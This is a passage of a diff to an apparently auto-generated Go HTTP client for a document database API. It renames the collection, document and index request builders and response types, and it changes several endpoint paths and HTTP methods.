:= http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("GET", queryURL.String(), nil) if err != nil { return nil, err } - req.Header.Add("Content-Type", contentType) - return req, nil } -// NewCollectionDeleteRequest generates requests for CollectionDelete -func NewCollectionDeleteRequest(server string, params *CollectionDeleteParams) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collections/delete") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - queryValues := queryURL.Query() - - if params.Name != nil { - - if queryFrag, err := runtime.StyleParamWithLocation("form", true, "name", runtime.ParamLocationQuery, *params.Name); err != nil { - return nil, err - } else if parsed, err := url.ParseQuery(queryFrag); err != nil { - return nil, err - } else { - for k, v := range parsed { - for _, v2 := range v { - queryValues.Add(k, v2) - } - } - } - - } - - queryURL.RawQuery = queryValues.Encode() - - req, err := http.NewRequest("DELETE", queryURL.String(), nil) +// NewCreateCollectionRequest calls the generic CreateCollection builder with application/json body +func NewCreateCollectionRequest(server string, body CreateCollectionJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) if err != nil { return nil, err } - - return req, nil + bodyReader = bytes.NewReader(buf) + return NewCreateCollectionRequestWithBody(server, "application/json", bodyReader) } -// NewCollectionGetRequest generates requests for CollectionGet -func NewCollectionGetRequest(server string, params *CollectionGetParams) (*http.Request, error) { +// NewCreateCollectionRequestWithBody generates requests for CreateCollection with any type of body +func NewCreateCollectionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1309,7 +1187,7 @@ func NewCollectionGetRequest(server string, params *CollectionGetParams) (*http. return nil, err } - operationPath := fmt.Sprintf("/collections/get") + operationPath := fmt.Sprintf("/collections") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1319,47 +1197,29 @@ func NewCollectionGetRequest(server string, params *CollectionGetParams) (*http. return nil, err } - queryValues := queryURL.Query() - - if params.Name != nil { - - if queryFrag, err := runtime.StyleParamWithLocation("form", true, "name", runtime.ParamLocationQuery, *params.Name); err != nil { - return nil, err - } else if parsed, err := url.ParseQuery(queryFrag); err != nil { - return nil, err - } else { - for k, v := range parsed { - for _, v2 := range v { - queryValues.Add(k, v2) - } - } - } - - } - - queryURL.RawQuery = queryValues.Encode() - - req, err := http.NewRequest("GET", queryURL.String(), nil) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } + req.Header.Add("Content-Type", contentType) + return req, nil } -// NewCollectionListRequest calls the generic CollectionList builder with application/json body -func NewCollectionListRequest(server string, body CollectionListJSONRequestBody) (*http.Request, error) { +// NewUpdateCollectionRequest calls the generic UpdateCollection builder with application/json body +func NewUpdateCollectionRequest(server string, body UpdateCollectionJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewCollectionListRequestWithBody(server, "application/json", bodyReader) + return NewUpdateCollectionRequestWithBody(server, "application/json", bodyReader) } -// NewCollectionListRequestWithBody generates requests for CollectionList with any type of body -func NewCollectionListRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewUpdateCollectionRequestWithBody generates requests for UpdateCollection with any type of body +func NewUpdateCollectionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1367,7 +1227,7 @@ func NewCollectionListRequestWithBody(server string, contentType string, body io return nil, err } - operationPath := fmt.Sprintf("/collections/list") + operationPath := fmt.Sprintf("/collections/update") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1377,7 +1237,7 @@ func NewCollectionListRequestWithBody(server string, contentType string, body io return nil, err } - req, err := http.NewRequest("POST", queryURL.String(), body) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } @@ -1387,27 +1247,23 @@ func NewCollectionListRequestWithBody(server string, contentType string, body io return req, nil } -// NewCollectionUpdateRequest calls the generic CollectionUpdate builder with application/json body -func NewCollectionUpdateRequest(server string, body CollectionUpdateJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) +// NewDeleteCollectionRequest generates requests for DeleteCollection +func NewDeleteCollectionRequest(server string, name string) (*http.Request, error) { + var err error + + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) if err != nil { return nil, err } - bodyReader = bytes.NewReader(buf) - return NewCollectionUpdateRequestWithBody(server, "application/json", bodyReader) -} - -// NewCollectionUpdateRequestWithBody generates requests for CollectionUpdate with any type of body -func NewCollectionUpdateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/collections/update") + operationPath := fmt.Sprintf("/collections/%s", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1417,37 +1273,31 @@ func NewCollectionUpdateRequestWithBody(server string, contentType string, body return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("DELETE", queryURL.String(), nil) if err != nil { return nil, err } - req.Header.Add("Content-Type", contentType) - return req, nil } -// NewDocumentAuditRequest calls the generic DocumentAudit builder with application/json body -func NewDocumentAuditRequest(server string, body DocumentAuditJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) +// NewGetCollectionRequest generates requests for GetCollection +func NewGetCollectionRequest(server string, name string) (*http.Request, error) { + var err error + + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) if err != nil { return nil, err } - bodyReader = bytes.NewReader(buf) - return NewDocumentAuditRequestWithBody(server, "application/json", bodyReader) -} - -// NewDocumentAuditRequestWithBody generates requests for DocumentAudit with any type of body -func NewDocumentAuditRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/documents/audit") + operationPath := fmt.Sprintf("/collections/%s", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1457,29 +1307,27 @@ func NewDocumentAuditRequestWithBody(server string, contentType string, body io. return nil, err } - req, err := http.NewRequest("POST", queryURL.String(), body) + req, err := http.NewRequest("GET", queryURL.String(), nil) if err != nil { return nil, err } - req.Header.Add("Content-Type", contentType) - return req, nil } -// NewDocumentDeleteRequest calls the generic DocumentDelete builder with application/json body -func NewDocumentDeleteRequest(server string, body DocumentDeleteJSONRequestBody) (*http.Request, error) { +// NewInsertDocumentsRequest calls the generic InsertDocuments builder with application/json body +func NewInsertDocumentsRequest(server string, body InsertDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewDocumentDeleteRequestWithBody(server, "application/json", bodyReader) + return NewInsertDocumentsRequestWithBody(server, "application/json", bodyReader) } -// NewDocumentDeleteRequestWithBody generates requests for DocumentDelete with any type of body -func NewDocumentDeleteRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewInsertDocumentsRequestWithBody generates requests for InsertDocuments with any type of body +func NewInsertDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1487,7 +1335,7 @@ func NewDocumentDeleteRequestWithBody(server string, contentType string, body io return nil, err } - operationPath := fmt.Sprintf("/documents/delete") + operationPath := fmt.Sprintf("/documents") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1507,19 +1355,19 @@ func NewDocumentDeleteRequestWithBody(server string, contentType string, body io return req, nil } -// NewDocumentInsertRequest calls the generic DocumentInsert builder with application/json body -func NewDocumentInsertRequest(server string, body DocumentInsertJSONRequestBody) (*http.Request, error) { +// NewAuditDocumentRequest calls the generic AuditDocument builder with application/json body +func NewAuditDocumentRequest(server string, body AuditDocumentJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewDocumentInsertRequestWithBody(server, "application/json", bodyReader) + return NewAuditDocumentRequestWithBody(server, "application/json", bodyReader) } -// NewDocumentInsertRequestWithBody generates requests for DocumentInsert with any type of body -func NewDocumentInsertRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewAuditDocumentRequestWithBody generates requests for AuditDocument with any type of body +func NewAuditDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1527,7 +1375,7 @@ func NewDocumentInsertRequestWithBody(server string, contentType string, body io return nil, err } - operationPath := fmt.Sprintf("/documents/insert") + operationPath := fmt.Sprintf("/documents/audit") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1537,7 +1385,7 @@ func NewDocumentInsertRequestWithBody(server string, contentType string, body io return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1547,19 +1395,19 @@ func NewDocumentInsertRequestWithBody(server string, contentType string, body io return req, nil } -// NewDocumentInsertManyRequest calls the generic DocumentInsertMany builder with application/json body -func NewDocumentInsertManyRequest(server string, body DocumentInsertManyJSONRequestBody) (*http.Request, error) { +// NewDeleteDocumentsRequest calls the generic DeleteDocuments builder with application/json body +func NewDeleteDocumentsRequest(server string, body DeleteDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewDocumentInsertManyRequestWithBody(server, "application/json", bodyReader) + return NewDeleteDocumentsRequestWithBody(server, "application/json", bodyReader) } -// NewDocumentInsertManyRequestWithBody generates requests for DocumentInsertMany with any type of body -func NewDocumentInsertManyRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewDeleteDocumentsRequestWithBody generates requests for DeleteDocuments with any type of body +func NewDeleteDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1567,7 +1415,7 @@ func NewDocumentInsertManyRequestWithBody(server string, contentType string, bod return nil, err } - operationPath := fmt.Sprintf("/documents/insertmany") + operationPath := fmt.Sprintf("/documents/delete") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1577,7 +1425,7 @@ func NewDocumentInsertManyRequestWithBody(server string, contentType string, bod return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1587,19 +1435,19 @@ func NewDocumentInsertManyRequestWithBody(server string, contentType string, bod return req, nil } -// NewDocumentProofRequest calls the generic DocumentProof builder with application/json body -func NewDocumentProofRequest(server string, body DocumentProofJSONRequestBody) (*http.Request, error) { +// NewProveDocumentRequest calls the generic ProveDocument builder with application/json body +func NewProveDocumentRequest(server string, body ProveDocumentJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewDocumentProofRequestWithBody(server, "application/json", bodyReader) + return NewProveDocumentRequestWithBody(server, "application/json", bodyReader) } -// NewDocumentProofRequestWithBody generates requests for DocumentProof with any type of body -func NewDocumentProofRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewProveDocumentRequestWithBody generates requests for ProveDocument with any type of body +func NewProveDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1607,7 +1455,7 @@ func NewDocumentProofRequestWithBody(server string, contentType string, body io. return nil, err } - operationPath := fmt.Sprintf("/documents/proof") + operationPath := fmt.Sprintf("/documents/prove") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1627,19 +1475,19 @@ func NewDocumentProofRequestWithBody(server string, contentType string, body io. return req, nil } -// NewDocumentSearchRequest calls the generic DocumentSearch builder with application/json body -func NewDocumentSearchRequest(server string, body DocumentSearchJSONRequestBody) (*http.Request, error) { +// NewSearchDocumentsRequest calls the generic SearchDocuments builder with application/json body +func NewSearchDocumentsRequest(server string, body SearchDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewDocumentSearchRequestWithBody(server, "application/json", bodyReader) + return NewSearchDocumentsRequestWithBody(server, "application/json", bodyReader) } -// NewDocumentSearchRequestWithBody generates requests for DocumentSearch with any type of body -func NewDocumentSearchRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewSearchDocumentsRequestWithBody generates requests for SearchDocuments with any type of body +func NewSearchDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1667,19 +1515,19 @@ func NewDocumentSearchRequestWithBody(server string, contentType string, body io return req, nil } -// NewDocumentUpdateRequest calls the generic DocumentUpdate builder with application/json body -func NewDocumentUpdateRequest(server string, body DocumentUpdateJSONRequestBody) (*http.Request, error) { +// NewUpdateDocumentRequest calls the generic UpdateDocument builder with application/json body +func NewUpdateDocumentRequest(server string, body UpdateDocumentJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewDocumentUpdateRequestWithBody(server, "application/json", bodyReader) + return NewUpdateDocumentRequestWithBody(server, "application/json", bodyReader) } -// NewDocumentUpdateRequestWithBody generates requests for DocumentUpdate with any type of body -func NewDocumentUpdateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewUpdateDocumentRequestWithBody generates requests for UpdateDocument with any type of body +func NewUpdateDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1697,7 +1545,7 @@ func NewDocumentUpdateRequestWithBody(server string, contentType string, body io return nil, err } - req, err := http.NewRequest("POST", queryURL.String(), body) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } @@ -1707,19 +1555,19 @@ func NewDocumentUpdateRequestWithBody(server string, contentType string, body io return req, nil } -// NewIndexCreateRequest calls the generic IndexCreate builder with application/json body -func NewIndexCreateRequest(server string, body IndexCreateJSONRequestBody) (*http.Request, error) { +// NewCreateIndexRequest calls the generic CreateIndex builder with application/json body +func NewCreateIndexRequest(server string, body CreateIndexJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewIndexCreateRequestWithBody(server, "application/json", bodyReader) + return NewCreateIndexRequestWithBody(server, "application/json", bodyReader) } -// NewIndexCreateRequestWithBody generates requests for IndexCreate with any type of body -func NewIndexCreateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewCreateIndexRequestWithBody generates requests for CreateIndex with any type of body +func NewCreateIndexRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1727,7 +1575,7 @@ func NewIndexCreateRequestWithBody(server string, contentType string, body io.Re return nil, err } - operationPath := fmt.Sprintf("/indexes/create") + operationPath := fmt.Sprintf("/index") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1747,19 +1595,19 @@ func NewIndexCreateRequestWithBody(server string, contentType string, body io.Re return req, nil } -// NewIndexDeleteRequest calls the generic IndexDelete builder with application/json body -func NewIndexDeleteRequest(server string, body IndexDeleteJSONRequestBody) (*http.Request, error) { +// NewDeleteIndexRequest calls the generic DeleteIndex builder with application/json body +func NewDeleteIndexRequest(server string, body DeleteIndexJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewIndexDeleteRequestWithBody(server, "application/json", bodyReader) + return NewDeleteIndexRequestWithBody(server, "application/json", bodyReader) } -// NewIndexDeleteRequestWithBody generates requests for IndexDelete with any type of body -func NewIndexDeleteRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewDeleteIndexRequestWithBody generates requests for DeleteIndex with any type of body +func NewDeleteIndexRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1767,7 +1615,7 @@ func NewIndexDeleteRequestWithBody(server string, contentType string, body io.Re return nil, err } - operationPath := fmt.Sprintf("/indexes/delete") + operationPath := fmt.Sprintf("/index/delete") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1777,7 +1625,7 @@ func NewIndexDeleteRequestWithBody(server string, contentType string, body io.Re return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1845,71 +1693,64 @@ type ClientWithResponsesInterface interface { OpenSessionWithResponse(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) - // CollectionCreate request with any body - CollectionCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionCreateResponse, error) - - CollectionCreateWithResponse(ctx context.Context, body CollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionCreateResponse, error) - - // CollectionDelete request - CollectionDeleteWithResponse(ctx context.Context, params *CollectionDeleteParams, reqEditors ...RequestEditorFn) (*CollectionDeleteResponse, error) + // GetCollections request + GetCollectionsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetCollectionsResponse, error) - // CollectionGet request - CollectionGetWithResponse(ctx context.Context, params *CollectionGetParams, reqEditors ...RequestEditorFn) (*CollectionGetResponse, error) + // CreateCollection request with any body + CreateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) - // CollectionList request with any body - CollectionListWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionListResponse, error) + CreateCollectionWithResponse(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) - CollectionListWithResponse(ctx context.Context, body CollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionListResponse, error) + // UpdateCollection request with any body + UpdateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) - // CollectionUpdate request with any body - CollectionUpdateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionUpdateResponse, error) + UpdateCollectionWithResponse(ctx context.Context, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) - CollectionUpdateWithResponse(ctx context.Context, body CollectionUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionUpdateResponse, error) + // DeleteCollection request + DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) - // DocumentAudit request with any body - DocumentAuditWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentAuditResponse, error) + // GetCollection request + GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) - DocumentAuditWithResponse(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentAuditResponse, error) + // InsertDocuments request with any body + InsertDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) - // DocumentDelete request with any body - DocumentDeleteWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentDeleteResponse, error) + InsertDocumentsWithResponse(ctx context.Context, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) - DocumentDeleteWithResponse(ctx context.Context, body DocumentDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentDeleteResponse, error) + // AuditDocument request with any body + AuditDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) - // DocumentInsert request with any body - DocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) + AuditDocumentWithResponse(ctx context.Context, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) - DocumentInsertWithResponse(ctx context.Context, body DocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) + // DeleteDocuments request with any body + DeleteDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) - // DocumentInsertMany request with any body - DocumentInsertManyWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertManyResponse, error) + DeleteDocumentsWithResponse(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) - DocumentInsertManyWithResponse(ctx context.Context, body DocumentInsertManyJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentInsertManyResponse, error) + // ProveDocument request with any body + ProveDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProveDocumentResponse, error) - // DocumentProof request with any body - DocumentProofWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentProofResponse, error) + ProveDocumentWithResponse(ctx context.Context, body ProveDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProveDocumentResponse, error) - DocumentProofWithResponse(ctx context.Context, body DocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentProofResponse, error) + // SearchDocuments request with any body + SearchDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) - // DocumentSearch request with any body - DocumentSearchWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentSearchResponse, error) + SearchDocumentsWithResponse(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) - DocumentSearchWithResponse(ctx context.Context, body DocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentSearchResponse, error) + // UpdateDocument request with any body + UpdateDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateDocumentResponse, error) - // DocumentUpdate request with any body - DocumentUpdateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) + UpdateDocumentWithResponse(ctx context.Context, body UpdateDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateDocumentResponse, error) - DocumentUpdateWithResponse(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) + // CreateIndex request with any body + CreateIndexWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) - // IndexCreate request with any body - IndexCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*IndexCreateResponse, error) + CreateIndexWithResponse(ctx context.Context, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) - IndexCreateWithResponse(ctx context.Context, body IndexCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*IndexCreateResponse, error) + // DeleteIndex request with any body + DeleteIndexWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) - // IndexDelete request with any body - IndexDeleteWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*IndexDeleteResponse, error) - - IndexDeleteWithResponse(ctx context.Context, body IndexDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*IndexDeleteResponse, error) + DeleteIndexWithResponse(ctx context.Context, body DeleteIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) } type CloseSessionResponse struct { @@ -1981,15 +1822,15 @@ func (r OpenSessionResponse) StatusCode() int { return 0 } -type CollectionCreateResponse struct { +type GetCollectionsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelCollectionCreateResponse + JSON200 *ModelGetCollectionsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r CollectionCreateResponse) Status() string { +func (r GetCollectionsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1997,22 +1838,22 @@ func (r CollectionCreateResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r CollectionCreateResponse) StatusCode() int { +func (r GetCollectionsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type CollectionDeleteResponse struct { +type CreateCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelCollectionDeleteResponse + JSON200 *ModelCreateCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r CollectionDeleteResponse) Status() string { +func (r CreateCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2020,22 +1861,22 @@ func (r CollectionDeleteResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r CollectionDeleteResponse) StatusCode() int { +func (r CreateCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type CollectionGetResponse struct { +type UpdateCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelCollectionGetResponse + JSON200 *ModelUpdateCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r CollectionGetResponse) Status() string { +func (r UpdateCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2043,22 +1884,22 @@ func (r CollectionGetResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r CollectionGetResponse) StatusCode() int { +func (r UpdateCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type CollectionListResponse struct { +type DeleteCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelCollectionListResponse + JSON200 *ModelDeleteCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r CollectionListResponse) Status() string { +func (r DeleteCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2066,22 +1907,22 @@ func (r CollectionListResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r CollectionListResponse) StatusCode() int { +func (r DeleteCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type CollectionUpdateResponse struct { +type GetCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelCollectionUpdateResponse + JSON200 *ModelGetCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r CollectionUpdateResponse) Status() string { +func (r GetCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2089,22 +1930,22 @@ func (r CollectionUpdateResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r CollectionUpdateResponse) StatusCode() int { +func (r GetCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DocumentAuditResponse struct { +type InsertDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDocumentAuditResponse + JSON200 *ModelInsertDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DocumentAuditResponse) Status() string { +func (r InsertDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2112,22 +1953,22 @@ func (r DocumentAuditResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DocumentAuditResponse) StatusCode() int { +func (r InsertDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DocumentDeleteResponse struct { +type AuditDocumentResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDocumentDeleteResponse + JSON200 *ModelAuditDocumentResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DocumentDeleteResponse) Status() string { +func (r AuditDocumentResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2135,22 +1976,22 @@ func (r DocumentDeleteResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DocumentDeleteResponse) StatusCode() int { +func (r AuditDocumentResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DocumentInsertResponse struct { +type DeleteDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDocumentInsertResponse + JSON200 *ModelDeleteDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DocumentInsertResponse) Status() string { +func (r DeleteDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2158,22 +1999,22 @@ func (r DocumentInsertResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DocumentInsertResponse) StatusCode() int { +func (r DeleteDocumentsResponse) StatusCode() int { if 